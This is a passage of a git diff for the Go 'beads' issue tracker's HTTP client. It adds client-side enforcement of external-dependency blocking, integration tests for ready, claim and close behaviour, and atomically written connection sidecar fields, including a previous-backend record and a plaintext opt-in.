b/internal/httpclient/roles_graph.go index 4cd3a85e5..41f831959 100644 --- a/internal/httpclient/roles_graph.go +++ b/internal/httpclient/roles_graph.go @@ -274,6 +274,106 @@ func (s *Store) GetDependencyRecords(ctx context.Context, id string) ([]*types.D // rather than chunking past it. See httpGraphCounter.CountEdges. const maxEdgeCountAnchors = 100 +// GetAllDependencyRecords answers storage.DoltStorage's broad, unfiltered +// dependency dump: every stored edge, grouped by its owning issue's id — the +// same shape issueops.GetAllDependencyRecordsInTx returns for a local +// backend. +// +// It overrides the unsupported_gen.go stub (design 3.6, HIGH-1): the +// external-deps decorator's loadBlockingState falls back to this method +// whenever the inner store implements neither +// storage.ExternalDependencyPolicyProber-reported server enforcement nor the +// narrower storage.ExternalDependencyQueryStore, which is exactly this +// backend's shape against a server that does NOT advertise +// wire.CapExternalDependencies. Refusing here (the old unsupported behavior) +// would make `bd ready`/`bd close`/claim hard-fail against such a server +// instead of correctly enforcing the policy client-side — the regression +// HIGH-1 reports. +// +// There is no single wire operation for "every dependency in the workspace": +// listDependencies is anchored at up to maxEdgeCountAnchors ids per call, so +// this walks every issue id over the full-exhaustion list (allIssueIDs) and +// reads its edges back in chunks of that size. It is O(issues/100) requests, +// which only this fallback path ever pays — a server that advertises the +// capability, or that implements the narrower query, never reaches this +// method. +func (s *Store) GetAllDependencyRecords(ctx context.Context) (map[string][]*types.Dependency, error) { + ids, err := s.allIssueIDs(ctx) + if err != nil { + return nil, fmt.Errorf("list all issue ids: %w", err) + } + result := make(map[string][]*types.Dependency) + for _, chunk := range chunkStrings(ids, maxEdgeCountAnchors) { + q := url.Values{} + for _, id := range chunk { + q.Add("issue_id", id) + } + var body apigen.DependencyEdges + if err := s.dispatch(ctx, wire.Request{ + Op: wire.OpListDependencies, + Method: http.MethodGet, + Path: wire.PathDependencies, + Query: q, + }, &body); err != nil { + return nil, err + } + for i := range body.Items { + edge := &body.Items[i] + result[edge.IssueID] = append(result[edge.IssueID], edge) + } + } + return result, nil +} + +// allIssueIDs enumerates every issue id in the workspace, regardless of +// status or kind: closed, templates, gates, infra and ephemeral/wisp issues +// are all included (the list operation's narrower defaults otherwise exclude +// several of those), because a dependency row can be owned by any of them and +// GetAllDependencyRecords promises the whole table, not the default `bd +// list` view of it. +// +// want=0, maxRows=0 walks fetchIssuePages to full exhaustion rather than one +// page. +func (s *Store) allIssueIDs(ctx context.Context) ([]string, error) { + q := url.Values{ + "all": {"true"}, + "include_templates": {"true"}, + "include_gates": {"true"}, + "include_infra": {"true"}, + "include_ephemeral": {"true"}, + } + rows, err := s.fetchIssuePages(ctx, q, true, 0, 0, "", nil) + if err != nil { + return nil, err + } + ids := make([]string, 0, len(rows)) + for _, row := range rows { + if row == nil || row.Issue == nil || row.ID == "" { + continue + } + ids = append(ids, row.ID) + } + return ids, nil +} + +// chunkStrings splits ids into slices of at most size, preserving order. size +// must be positive; the last chunk may be shorter. +func chunkStrings(ids []string, size int) [][]string { + if len(ids) == 0 { + return nil + } + chunks := make([][]string, 0, (len(ids)+size-1)/size) + for len(ids) > 0 { + n := size + if n > len(ids) { + n = len(ids) + } + chunks = append(chunks, ids[:n]) + ids = ids[n:] + } + return chunks +} + // httpGraphCounter serves CountEdges from countDependencyEdges — the // TWENTY-SECOND wire-backed accessor, and the only role on this surface whose // answer is a number PER ANCHOR. diff --git a/internal/httpclient/served_external_dependency_policy_test.go b/internal/httpclient/served_external_dependency_policy_test.go new file mode 100644 index 000000000..92e0e9480 --- /dev/null +++ b/internal/httpclient/served_external_dependency_policy_test.go @@ -0,0 +1,492 @@ +//go:build cgo + +package httpclient + +import ( + "errors" + "fmt" + "slices" + "testing" + + "github.com/steveyegge/beads/internal/storage" + "github.com/steveyegge/beads/internal/storage/externaldeps" + storageops "github.com/steveyegge/beads/internal/storage/issueops" + "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/internal/workapi" + "github.com/steveyegge/beads/issueops" +) + +// TestServedReadyExcludesUnsatisfiedExternalDependencyWithoutServerCapability +// reproduces the S6 review's HIGH-1 regression: cmd/bd's +// wireExternalDependencyPolicy used to skip wrapping ANY registered remote +// backend outright (storage.RemoteBackendStore), so an issue blocked by an +// external:: dependency was listed by `bd ready` over +// http even though the identical workspace against a local backend would +// exclude it — the policy was silently skipped, not deferred to a server that +// claimed to enforce it (design 3.6). +// +// This pins the fix at the layer design 3.6 actually gates on: the decorator +// must still apply client-side enforcement whenever the server's handshake +// does not advertise wire.CapExternalDependencies. Today's OSS httpapi never +// advertises it (confirmed below), so this also exercises the http backend's +// GetAllDependencyRecords fallback (loadBlockingState's compatibility path) +// against a real served server, end to end. +func TestServedReadyExcludesUnsatisfiedExternalDependencyWithoutServerCapability(t *testing.T) { + env := newServedEnv(t, "hixd") + ctx := t.Context() + + blockedID := env.prefix + "-blocked" + freeID := env.prefix + "-free" + if err := env.createIssue(ctx, &types.Issue{ + ID: blockedID, Title: "blocked by an external capability", + Status: types.StatusOpen, Priority: 2, IssueType: types.TypeTask, + }, "tester"); err != nil { + t.Fatalf("seed blocked issue: %v", err) + } + if err := env.createIssue(ctx, &types.Issue{ + ID: freeID, Title: "not blocked by anything", + Status: types.StatusOpen, Priority: 2, IssueType: types.TypeTask, + }, "tester"); err != nil { + t.Fatalf("seed free issue: %v", err) + } + if err := env.addDependency(ctx, &types.Dependency{ + IssueID: blockedID, + DependsOnID: "external:otherproj:cap", + Type: types.DepBlocks, + }, "tester"); err != nil { + t.Fatalf("seed external dependency: %v", err) + } + + // The premise this test pins: the server this harness serves does not + // advertise wire.CapExternalDependencies. If a future change makes OSS + // httpapi advertise it, this test's exclusion no longer proves the + // client-side path and must be re-pointed at a server that genuinely + // withholds the capability. + if enforced, err := env.subject.ServerEnforcesExternalDependencyPolicy(ctx); err != nil { + t.Fatalf("ServerEnforcesExternalDependencyPolicy: %v", err) + } else if enforced { + t.Fatal("served test server unexpectedly advertises wire.CapExternalDependencies; this test's no-server-enforcement premise no longer holds") + } + + // externaldeps.New with nil locate/open funcs is the same fail-closed + // shape cmd/bd's wireExternalDependencyPolicy composes for an + // unconfigured external project: a reference to a project this workspace + // has not configured resolves to "unsatisfied", so the dependency keeps + // blocking rather than silently passing. + decorated := externaldeps.New(env.subject, nil, nil) + + filter, err := workapi.BuildReadyFilter(issueops.ReadyRequest{}) + if err != nil { + t.Fatalf("BuildReadyFilter: %v", err) + } + rows, err := decorated.GetReadyWorkWithCounts(ctx, filter) + if err != nil { + t.Fatalf("GetReadyWorkWithCounts over http: %v", err) + } + var ids []string + for _, row := range rows { + if row != nil && row.Issue != nil { + ids = append(ids, row.ID) + } + } + for _, id := range ids { + if id == blockedID { + t.Errorf("ready over http = %v, want %q excluded by its unsatisfied external:otherproj:cap dependency", ids, blockedID) + } + } + var sawFree bool + for _, id := range ids { + if id == freeID { + sawFree = true + } + } + if !sawFree { + t.Errorf("ready over http = %v, want unrelated issue %q present", ids, freeID) + } + + // The total `bd ready --json` prints beside the page, and the count + // text-mode `bd ready` prints, must exclude the same issue. This store + // cannot express ExcludeIDs, so both come from the decorator's client-side + // drop, which is where the exclusion has to be subtracted. + _, total, err := decorated.GetReadyWorkWithCountsAndTotal(ctx, filter) + if err != nil { + t.Fatalf("GetReadyWorkWithCountsAndTotal over http: %v", err) + } + count, err := decorated.CountReadyWork(ctx, filter) + if err != nil { + t.Fatalf("CountReadyWork over http: %v", err) + } + if total != len(ids) || count != len(ids) { + t.Errorf("ready over http lists %v, but total = %d and CountReadyWork = %d; want both %d (%q excluded)", ids, total, count, len(ids), blockedID) + } +} + +// TestServedReadyCountExcludesAnExternallyBlockedIssuePastTheDefaultPage pins, +// against a real served server, the shape the decorator once misread: an +// unlimited ready listing over http comes back as the server's default page +// (the wire omits a zero limit) while its total counts the whole ready set. +// Text-mode `bd ready` counts through CountReadyWork, which always fetches +// unlimited, so an externally blocked issue sorted past that page stayed in +// its count when the decorator took the zero limit for a window holding every +// row. +func TestServedReadyCountExcludesAnExternallyBlockedIssuePastTheDefaultPage(t *testing.T) { + env := newServedEnv(t, "hixp") + ctx := t.Context() + + free := make([]*types.Issue, 0, workapi.DefaultReadyLimit+1) + for i := range workapi.DefaultReadyLimit + 1 { + free = append(free, &types.Issue{ + ID: fmt.Sprintf("%s-free%03d", env.prefix, i), Title: "not blocked by anything", + Status: types.StatusOpen, Priority: 2, IssueType: types.TypeTask, + }) + } + if err := env.reference.CreateIssues(ctx, free, "tester"); err != nil { + t.Fatalf("seed free issues: %v", err) + } + // Priority 4 sorts the blocked issue after every free one, past the + // default page. + blockedID := env.prefix + "-blocked" + if err := env.createIssue(ctx, &types.Issue{ + ID: blockedID, Title: "blocked by an external capability", + Status: types.StatusOpen, Priority: 4, IssueType: types.TypeTask, + }, "tester"); err != nil { + t.Fatalf("seed blocked issue: %v", err) + } + if err := env.addDependency(ctx, &types.Dependency{ + IssueID: blockedID, + DependsOnID: "external:otherproj:cap", + Type: types.DepBlocks, + }, "tester"); err != nil { + t.Fatalf("seed external dependency: %v", err) + } + + countFilter, err := workapi.BuildReadyCountFilter(issueops.ReadyRequest{}) + if err != nil { + t.Fatalf("BuildReadyCountFilter: %v", err) + } + // The premise this test pins: undecorated, the unlimited listing is the + // default page, the blocked issue is not on it, and the total counts it. + rows, total, err := env.subject.GetReadyWorkWithCountsAndTotal(ctx, countFilter) + if err != nil { + t.Fatalf("undecorated GetReadyWorkWithCountsAndTotal over http: %v", err) + } + if len(rows) != workapi.DefaultReadyLimit || total != workapi.DefaultReadyLimit+2 { + t.Fatalf("undecorated unlimited listing over http = %d rows, total %d; want the %d-row default page, total %d; this test's premise no longer holds", + len(rows), total, workapi.DefaultReadyLimit, workapi.DefaultReadyLimit+2) + } + for _, row := range rows { + if row != nil && row.Issue != nil && row.ID == blockedID { + t.Fatalf("%q is on the default page; this test needs it past the page", blockedID) + } + } + + decorated := externaldeps.New(env.subject, nil, nil) + const want = workapi.DefaultReadyLimit + 1 // every free issue + count, err := decorated.CountReadyWork(ctx, countFilter) + if err != nil { + t.Fatalf("CountReadyWork over http: %v", err) + } + pageFilter, err := workapi.BuildReadyFilter(issueops.ReadyRequest{}) + if err != nil { + t.Fatalf("BuildReadyFilter: %v", err) + } + pageRows, pageTotal, err := decorated.GetReadyWorkWithCountsAndTotal(ctx, pageFilter) + if err != nil { + t.Fatalf("GetReadyWorkWithCountsAndTotal over http: %v", err) + } + if count != want || pageTotal != want || len(pageRows) != workapi.DefaultReadyLimit { + t.Errorf("over http: CountReadyWork = %d; default page = %d rows, total %d; want count and total %d (%q excluded), %d rows", + count, len(pageRows), pageTotal, want, blockedID, workapi.DefaultReadyLimit) + } +} + +// TestServedRolesKeepTheExternalDependencyPolicy pins, against a real served +// server, the roles the decorator composes over a remote store. Each one +// answers through httpclient.Store's served roles: the base accessors built +// them over legacy methods that store refuses, which failed `bd list`, +// `bd show`, `bd dep tree`, `bd ready --claim` and `bd close` even for an issue +// nothing blocks. And each still holds the externally blocked issue out of +// ready work, claims and closes. The served handler here binds its roles to +// the raw reference store, which knows nothing of the policy, so every +// exclusion below is the client's. +func TestServedRolesKeepTheExternalDependencyPolicy(t *testing.T) { + env := newServedEnv(t, "hixr") + ctx := t.Context() + + const externalRef = "external:otherproj:cap" + blockedID := env.prefix + "-blocked" + freeID := env.prefix + "-free" + // Priority 1 sorts the blocked issue first, where a claim blind to the + // policy would take it. + for _, seed := range []*types.Issue{ + {ID: blockedID, Title: "blocked by an external capability", Status: types.StatusOpen, Priority: 1, IssueType: types.TypeTask}, + {ID: freeID, Title: "not blocked by anything", Status: types.StatusOpen, Priority: 2, IssueType: types.TypeTask}, + } { + if err := env.createIssue(ctx, seed, "tester"); err != nil { + t.Fatalf("seed %s: %v", seed.ID, err) + } + } + if err := env.addDependency(ctx, &types.Dependency{ + IssueID: blockedID, + DependsOnID: externalRef, + Type: types.DepBlocks, + }, "tester"); err != nil { + t.Fatalf("seed external dependency: %v", err) + } + decorated := externaldeps.New(env.subject, nil, nil) + + reader, err := decorated.IssueReader() + if err != nil { + t.Fatalf("IssueReader: %v", err) + } + listed, err := reader.List(ctx, issueops.ListRequest{}) + if err != nil { + t.Fatalf("List over http: %v", err) + } + if ids := pageIDs(listed); !slices.Contains(ids, blockedID) || !slices.Contains(ids, freeID) { + t.Errorf("List over http = %v, want both issues: a plain listing claims nothing about readiness", ids) + } + readyListed, err := reader.List(ctx, issueops.ListRequest{ReadyFlag: true}) + if err != nil { + t.Fatalf("List --ready over http: %v", err) + } + if ids := pageIDs(readyListed); !slices.Equal(ids, []string{freeID}) { + t.Errorf("List --ready over http = %v, want [%s]", ids, freeID) + } + ready, err := reader.Ready(ctx, issueops.ReadyRequest{}) + if err != nil { + t.Fatalf("Ready over http: %v", err) + } + if ids := pageIDs(ready); !slices.Equal(ids, []string{freeID}) { + t.Errorf("Ready over http = %v, want [%s]", ids, freeID) + } + details, err := reader.Get(ctx, issueops.GetRequest{ID: blockedID}) + if err != nil || details == nil || details.ID != blockedID { + t.Fatalf("Get %s over http = %v, %v", blockedID, details, err) + } + + annotator, err := decorated.BlockingAnnotator() + if err != nil { + t.Fatalf("BlockingAnnotator: %v", err) + } + blocking, err := annotator.AnnotateBlocking(ctx, issueops.BlockingRequest{IDs: []string{blockedID, freeID}}) + if err != nil { + t.Fatalf("AnnotateBlocking over http: %v", err) + } + for _, item := range blocking.Items { + if blockedBy := slices.Contains(item.BlockedBy, externalRef); blockedBy != (item.ID == blockedID) { + t.Errorf("AnnotateBlocking over http: %s blocked by %v", item.ID, item.BlockedBy) + } + } + + walker, err := decorated.TreeWalker() + if err != nil { + t.Fatalf("TreeWalker: %v", err) + } + tree, err := walker.WalkTree(ctx, issueops.WalkTreeRequest{RootID: blockedID, MaxDepth: 50}) + if err != nil { + t.Fatalf("WalkTree over http: %v", err) + } + var leaves int + for _, node := range tree.Nodes { + if node.ID == externalRef { + leaves++ + } + } + if leaves != 1 { + t.Errorf("WalkTree over http shows %d %s leaves, want one", leaves, externalRef) + } + + claimer, err := decorated.IssueClaimer() + if err != nil { + t.Fatalf("IssueClaimer: %v", err) + } + if _, err := claimer.Claim(ctx, issueops.ClaimRequest{Actor: "worker", IssueID: blockedID}); !errors.Is(err, storage.ErrCloseBlocked) { + t.Errorf("Claim %s over http = %v, want ErrCloseBlocked", blockedID, err) + } + readyClaimer, err := decorated.ReadyClaimer() + if err != nil { + t.Fatalf("ReadyClaimer: %v", err) + } + next, err := readyClaimer.ClaimNext(ctx, issueops.ClaimNextRequest{Actor: "worker"}) + if err != nil || next.Claimed == nil || next.Claimed.ID != freeID { + t.Fatalf("ClaimNext over http = %+v, %v; want %s", next.Claimed, err, freeID) + } + + closer, err := decorated.BatchCloser() + if err != nil { + t.Fatalf("BatchCloser: %v", err) + } + closed, err := closer.CloseBatch(ctx, issueops.CloseBatchRequest{ + Actor: "worker", + Items: []issueops.BatchCloseItem{{IssueID: blockedID}, {IssueID: freeID}}, + }) + if err != nil || len(closed.Outcomes) != 2 { + t.Fatalf("CloseBatch over http = %+v, %v; want two outcomes", closed.Outcomes, err) + } + if !errors.Is(closed.Outcomes[0].Err, storage.ErrCloseBlocked) || closed.Outcomes[1].Err != nil { + t.Fatalf("CloseBatch over http: %s = %v, %s = %v; want the first refused, the second closed", + blockedID, closed.Outcomes[0].Err, freeID, closed.Outcomes[1].Err) + } + assertServedStatus(t, env, blockedID, types.StatusOpen) + assertServedStatus(t, env, freeID, types.StatusClosed) + forced, err := closer.CloseBatch(ctx, issueops.CloseBatchRequest{ + Actor: "worker", Force: true, + Items: []issueops.BatchCloseItem{{IssueID: blockedID}}, + }) + if err != nil || len(forced.Outcomes) != 1 || forced.Outcomes[0].Err != nil { + t.Fatalf("CloseBatch --force over http = %+v, %v; want it closed", forced.Outcomes, err) + } + assertServedStatus(t, env, blockedID, types.StatusClosed) +} + +// TestServedReadyTotalIgnoresAnExternallyBlockedIssueOutsideTheFilter pins the +// count an assignee-filtered `bd ready` prints over http. Past the server's +// default page the decorator used to subtract every externally blocked issue +// in the workspace from the filtered total, so bob's blocked issue, which the +// filter never counted, took one off alice's. +func TestServedReadyTotalIgnoresAnExternallyBlockedIssueOutsideTheFilter(t *testing.T) { + env := newServedEnv(t, "hixa") + ctx := t.Context() + + mine := make([]*types.Issue, 0, workapi.DefaultReadyLimit+1) + for i := range workapi.DefaultReadyLimit + 1 { + mine = append(mine, &types.Issue{ + ID: fmt.Sprintf("%s-alice%03d", env.prefix, i), Title: "alice's ready work", + Status: types.StatusOpen, Priority: 2, IssueType: types.TypeTask, Assignee: "alice", + }) + } + if err := env.reference.CreateIssues(ctx, mine, "tester"); err != nil { + t.Fatalf("seed alice's issues: %v", err) + } + blockedID := env.prefix + "-bob" + if err := env.createIssue(ctx, &types.Issue{ + ID: blockedID, Title: "bob's externally blocked work", + Status: types.StatusOpen, Priority: 2, IssueType: types.TypeTask, Assignee: "bob", + }, "tester"); err != nil { + t.Fatalf("seed blocked issue: %v", err) + } + if err := env.addDependency(ctx, &types.Dependency{ + IssueID: blockedID, + DependsOnID: "external:otherproj:cap", + Type: types.DepBlocks, + }, "tester"); err != nil { + t.Fatalf("seed external dependency: %v", err) + } + + decorated := externaldeps.New(env.subject, nil, nil) + const want = workapi.DefaultReadyLimit + 1 // every one of alice's issues + request := issueops.ReadyRequest{Assignee: "alice"} + countFilter, err := workapi.BuildReadyCountFilter(request) + if err != nil { + t.Fatalf("BuildReadyCountFilter: %v", err) + } + count, err := decorated.CountReadyWork(ctx, countFilter) + if err != nil { + t.Fatalf("CountReadyWork over http: %v", err) + } + pageFilter, err := workapi.BuildReadyFilter(request) + if err != nil { + t.Fatalf("BuildReadyFilter: %v", err) + } + rows, total, err := decorated.GetReadyWorkWithCountsAndTotal(ctx, pageFilter) + if err != nil { + t.Fatalf("GetReadyWorkWithCountsAndTotal over http: %v", err) + } + if count != want || total != want || len(rows) != workapi.DefaultReadyLimit { + t.Errorf("over http, alice's ready work: CountReadyWork = %d; page = %d rows, total %d; want count and total %d, %d rows", + count, len(rows), total, want, workapi.DefaultReadyLimit) + } +} + +// TestServedReadyMaxRowsCountsTheRowsKept pins `bd ready --limit N +// --max-rows N` over http, which failed with exit 2 once more than N issues +// were ready and any issue held an unsatisfied external blocker. The decorator +// fetches a window wider than the limit to make room for the rows it drops, +// and the http bridge caps the rows it fetched, so the cap counted rows the +// caller was never handed. A SQL store caps the page it delivers, and so must +// this path. +func TestServedReadyMaxRowsCountsTheRowsKept(t *testing.T) { + env := newServedEnv(t, "hixm") + ctx := t.Context() + + free := []string{env.prefix + "-a", env.prefix + "-b", env.prefix + "-c"} + blockedID := env.prefix + "-z" + // The priorities fix the ready order: the three free issues, then the + // blocked one, so a window of the limit plus one can leave it out and + // still hold more rows than the limit. + for i, id := range append(slices.Clone(free), blockedID) { + if err := env.createIssue(ctx, &types.Issue{ + ID: id, Title: id, Status: types.StatusOpen, Priority: i + 1, IssueType: types.TypeTask, + }, "tester"); err != nil { + t.Fatalf("seed %s: %v", id, err) + } + } + if err := env.addDependency(ctx, &types.Dependency{ + IssueID: blockedID, + DependsOnID: "external:otherproj:cap", + Type: types.DepBlocks, + }, "tester"); err != nil { + t.Fatalf("seed external dependency: %v", err) + } + decorated := externaldeps.New(env.subject, nil, nil) + + for _, tc := range []struct { + name string + limit, maxRows int + want []string // nil: the cap fires + }{ + // The window is 2+1 rows, all free; the cap counts the page of two. + {name: "cap equals the limit", limit: 2, maxRows: 2, want: free[:2]}, + // The window holds all four rows, three of them kept. + {name: "cap below the limit", limit: 5, maxRows: 3, want: free}, + // The server's default page, again all four. + {name: "unlimited", limit: 0, maxRows: 3, want: free}, + // The three rows kept exceed the caller's cap, which still fires. + {name: "kept rows exceed the cap", limit: 5, maxRows: 2}, + } { + t.Run(tc.name, func(t *testing.T) { + limit := tc.limit + filter, err := workapi.BuildReadyFilter(issueops.ReadyRequest{Limit: &limit}) + if err != nil { + t.Fatalf("BuildReadyFilter: %v", err) + } + filter.MaxRows, filter.MaxRowsSource = tc.maxRows, "--max-rows" + check := func(method string, ids []string, err error) { + t.Helper() + var tooMany *storageops.ErrTooManyRows + switch { + case tc.want == nil: + if !errors.As(err, &tooMany) || tooMany.Cap != tc.maxRows || tooMany.Source != "--max-rows" { + t.Errorf("%s over http = %v, %v; want the --max-rows cap of %d to fire on the rows kept", method, ids, err, tc.maxRows) + } + case err != nil: + t.Errorf("%s over http: %v; want %v, which a cap of %d admits", method, err, tc.want, tc.maxRows) + case !slices.Equal(ids, tc.want): + t.Errorf("%s over http = %v, want %v (%q excluded)", method, ids, tc.want, blockedID) + } + } + + issues, err := decorated.GetReadyWork(ctx, filter) + check("GetReadyWork", issueIDs(issues), err) + rows, err := decorated.GetReadyWorkWithCounts(ctx, filter) + check("GetReadyWorkWithCounts", rowIDs(rows), err) + rows, total, err := decorated.GetReadyWorkWithCountsAndTotal(ctx, filter) + check("GetReadyWorkWithCountsAndTotal", rowIDs(rows), err) + if err == nil && total != len(free) { + t.Errorf("GetReadyWorkWithCountsAndTotal over http: total %d, want %d (%q excluded)", total, len(free), blockedID) + } + }) + } +} + +func assertServedStatus(t *testing.T, env *servedEnv, id string, want types.Status) { + t.Helper() + issue, err := env.getIssue(t.Context(), id) + if err != nil || issue == nil { + t.Fatalf("read %s back: %v, %v", id, issue, err) + } + if issue.Status != want { + t.Errorf("%s status = %s, want %s", id, issue.Status, want) + } +} diff --git a/internal/httpclient/store.go b/internal/httpclient/store.go index 2b36e9744..731c5fa7c 100644 --- a/internal/httpclient/store.go +++ b/internal/httpclient/store.go @@ -18,9 +18,11 @@ import ( "context" "errors" "fmt" + "slices" "sync" "github.com/steveyegge/beads/internal/httpapi/apigen" + "github.com/steveyegge/beads/internal/httpclient/wire" "github.com/steveyegge/beads/internal/storage" ) @@ -73,6 +75,58 @@ type Store struct { // interfaces here would assert a maintenance contract no OSS caller checks. var _ storage.DoltStorage = (*Store)(nil) +// IsRemoteBackendStore satisfies storage.RemoteBackendStore. cmd/bd's storage +// chain wraps this store in the external-dependency policy decorator like any +// other. The decorator reads this marker only to build its roles on this +// store's served roles rather than on the legacy methods it refuses +// (internal/storage/externaldeps/remote_roles.go). It decides whether to stand +// down through ServerEnforcesExternalDependencyPolicy below, never through +// this marker. +func (s *Store) IsRemoteBackendStore() bool { return true } + +var _ storage.RemoteBackendStore = (*Store)(nil) + +// ServerEnforcesExternalDependencyPolicy satisfies +// storage.ExternalDependencyPolicyProber (design 3.6): it answers whether the +// server this store dials already enforces bd's external-dependency policy +// itself, by checking the handshake for wire.CapExternalDependencies. +// +// It propagates a handshake error rather than swallowing it to false, the +// same asymmetry servesBatchClose documents: this probe gates whether the +// external-deps DECORATOR runs its own enforcement at all, so an unresolved +// "does the server already enforce this" has to fail the caller, not silently +// resolve to "no, so enforce here" (which happens to be safe for THIS probe's +// specific true/false meaning but would still hide a transport failure behind +// a policy decision) or to "yes, so skip" (which would be the actual bug this +// interface exists to prevent — the policy must never be silently skipped). +func (s *Store) ServerEnforcesExternalDependencyPolicy(ctx context.Context) (bool, error) { + snap, err := s.snapshot(ctx) + if err != nil { + return false, err + } + if snap == nil { + return false, nil + } + return slices.Contains(snap.Capabilities, wire.CapExternalDependencies), nil +} + +var _ storage.ExternalDependencyPolicyProber = (*Store)(nil) + +// ExcludeIDsUnsupported satisfies storage.ExcludeIDsUnsupportedStore: the v0 +// wire's listReadyWork and countReadyWork operations publish no id-exclusion +// parameter, so encode.ReadyBridgeParams / ReadyBridgeCountParams refuse any +// types.WorkFilter carrying ExcludeIDs outright (D8/D9, L12) rather than +// silently widening the result. Reporting true here — unconditionally, since +// the gap is in the wire shape, not in any per-call state — lets the +// external-deps decorator fall back to filtering its OWN additional +// exclusions (unsatisfied external:: blockers) client +// side instead of folding them into the filter it hands this store, so design +// 3.6's policy still runs against a server that does not advertise +// wire.CapExternalDependencies rather than tripping this store's refusal. +func (s *Store) ExcludeIDsUnsupported() bool { return true } + +var _ storage.ExcludeIDsUnsupportedStore = (*Store)(nil) + // New builds the store around an already-resolved target and transport. // // snapshot pre-seeds the handshake context, or is nil to let D6 fetch it lazily diff --git a/internal/httpclient/target.go b/internal/httpclient/target.go index ca86c9e77..bad29f6d0 100644 --- a/internal/httpclient/target.go +++ b/internal/httpclient/target.go @@ -30,6 +30,26 @@ type Target struct { // skips the check. It is compared against ContextResponse.project_id at // handshake (D6). ExpectProjectID string + // PreviousBackend records the backend selection metadata.json carried + // right before THIS connect (bee-ghosttrack CHANGES_REQUESTED on #7288, + // should-fix 1): `bd connect --clear` reads it back to restore + // metadata.json's backend selection, so detaching from http returns the + // workspace to whatever it was attached to before, rather than leaving + // it pinned to "http" with no sidecar to dial. "" means there was + // nothing to restore (a workspace's first-ever connect, or a value + // Attach deliberately left alone — see Attach's own doc). + PreviousBackend string + // AllowInsecureCredential records `bd connect --allow-plaintext`'s grant + // for THIS target (bee-ghosttrack CHANGES_REQUESTED on #7288, + // should-fix 2): once connected with the flag, every later dial for this + // workspace — not only connect's own Handshake probe — carries the same + // opt-in, so an operator who accepted the risk once at connect time does + // not also need BEADS_HTTP_ALLOW_INSECURE=1 set for every ordinary `bd` + // command afterward. It is scoped to the sidecar it is saved beside: a + // `bd connect` to a DIFFERENT url without the flag writes a fresh + // sidecar with this false, so the grant never silently carries over to a + // server it was never given for. See guardInsecureCredential. + AllowInsecureCredential bool // CAFile names a PEM file that becomes the ENTIRE trusted root pool for // this target — not an addition to the system store — set by // `bd connect --ca-file `. "" leaves this target on the system @@ -81,6 +101,14 @@ type targetFile struct { // CAFile mirrors Target.CAFile; see that field's doc for the trust model // and TransportFor for the env-vs-sidecar precedence. CAFile string `json:"ca_file,omitempty"` + // PreviousBackend mirrors Target.PreviousBackend; see that field's doc. + PreviousBackend string `json:"previous_backend,omitempty"` + // AllowPlaintext mirrors Target.AllowInsecureCredential; see that field's + // doc. Named differently on the wire (matching the CLI flag's own + // spelling) than the Go field (matching DialOptions.AllowInsecureCredential), + // deliberately: this is the one record of what a human typed, and the + // JSON key should read that way on disk. + AllowPlaintext bool `json:"allow_plaintext,omitempty"` } // TargetPath is the sidecar's location for a workspace. @@ -122,7 +150,13 @@ func LoadTarget(beadsDir string) (Target, error) { if err := checkCAFileAbsolute(f.CAFile); err != nil { return Target{}, err } - return Target{BaseURL: u, ExpectProjectID: f.ExpectProjectID, CAFile: f.CAFile}, nil + return Target{ + BaseURL: u, + ExpectProjectID: f.ExpectProjectID, + CAFile: f.CAFile, + PreviousBackend: f.PreviousBackend, + AllowInsecureCredential: f.AllowPlaintext, + }, nil } // checkNoUserinfo refuses a url carrying userinfo ("user:secret@host"). @@ -155,7 +189,10 @@ func checkCAFileAbsolute(caFile string) error { // and the connect command share one encoder; the connect UX itself (gitignore // coverage, identity verification, conversion consent) is not here. It refuses // a url carrying userinfo and a relative CAFile before writing anything, with -// LoadTarget's own messages. +// LoadTarget's own messages. The write is atomic (temp file in the same +// directory, then rename): a reader racing this write — LoadTarget, or +// another process entirely — must never observe a truncated or partial +// sidecar. func SaveTarget(beadsDir string, t Target) error { if err := checkNoUserinfo(t.BaseURL); err != nil { return err @@ -163,7 +200,13 @@ func SaveTarget(beadsDir string, t Target) error { if err := checkCAFileAbsolute(t.CAFile); err != nil { return err } - f := targetFile{ExpectProjectID: t.ExpectProjectID, API: "v0", CAFile: t.CAFile} + f := targetFile{ + ExpectProjectID: t.ExpectProjectID, + API: "v0", + CAFile: t.CAFile, + PreviousBackend: t.PreviousBackend, + AllowPlaintext: t.AllowInsecureCredential, + } if t.BaseURL != nil { f.URL = t.BaseURL.String() } @@ -171,12 +214,38 @@ func SaveTarget(beadsDir string, t Target) error { if err != nil { return fmt.Errorf("marshaling %s: %w", TargetFileName, err) } - if err := os.WriteFile(TargetPath(beadsDir), data, 0o600); err != nil { + if err := writeFileAtomic(TargetPath(beadsDir), data, 0o600); err != nil { return fmt.Errorf("writing %s: %w", TargetFileName, err) } return nil } +// writeFileAtomic writes data to a temp file in path's directory and renames +// it over path, so a concurrent reader never sees a truncated or partial +// file. Mirrors internal/configfile's own helper of the same name and shape; +// not shared directly because that one is package-private to configfile. +func writeFileAtomic(path string, data []byte, perm os.FileMode) error { + dir := filepath.Dir(path) + tmp, err := os.CreateTemp(dir, filepath.Base(path)+".tmp-*") + if err != nil { + return err + } + tmpName := tmp.Name() + defer os.Remove(tmpName) //nolint:errcheck // no-op after successful rename + if _, err := tmp.Write(data); err != nil { + _ = tmp.Close() + return err + } + if err := tmp.Chmod(perm); err != nil { + _ = tmp.Close() + return err + } + if err := tmp.Close(); err != nil { + return err + } + return os.Rename(tmpName, path) +} + // RemoveTarget deletes the activation sidecar, reporting whether one was there. // It is `bd connect --clear`'s whole write: detaching is a per-user act, so it // must never touch the tracked metadata.json that selects the backend. diff --git a/internal/httpclient/target_test.go b/internal/httpclient/target_test.go index 39a915a50..e25ff8c6a 100644 --- a/internal/httpclient/target_test.go +++ b/internal/httpclient/target_test.go @@ -193,3 +193,64 @@ func TestLoadTargetAcceptsAbsoluteCAFile(t *testing.T) { t.Errorf("CAFile = %q, want %q", got.CAFile, abs) } } + +// TestSaveTargetRoundTripsPreviousBackendAndAllowInsecureCredential pins the +// bee-ghosttrack CHANGES_REQUESTED findings on #7288 (should-fix 1 and 2): +// `bd connect --clear` needs PreviousBackend back to restore metadata.json's +// backend selection, and an ordinary command's dial needs +// AllowInsecureCredential back to honor a plaintext grant made at connect +// time. Neither is useful if the sidecar does not actually carry it through +// a save/load round trip. +func TestSaveTargetRoundTripsPreviousBackendAndAllowInsecureCredential(t *testing.T) { + dir := t.TempDir() + target := Target{ + BaseURL: mustParseURL(t, 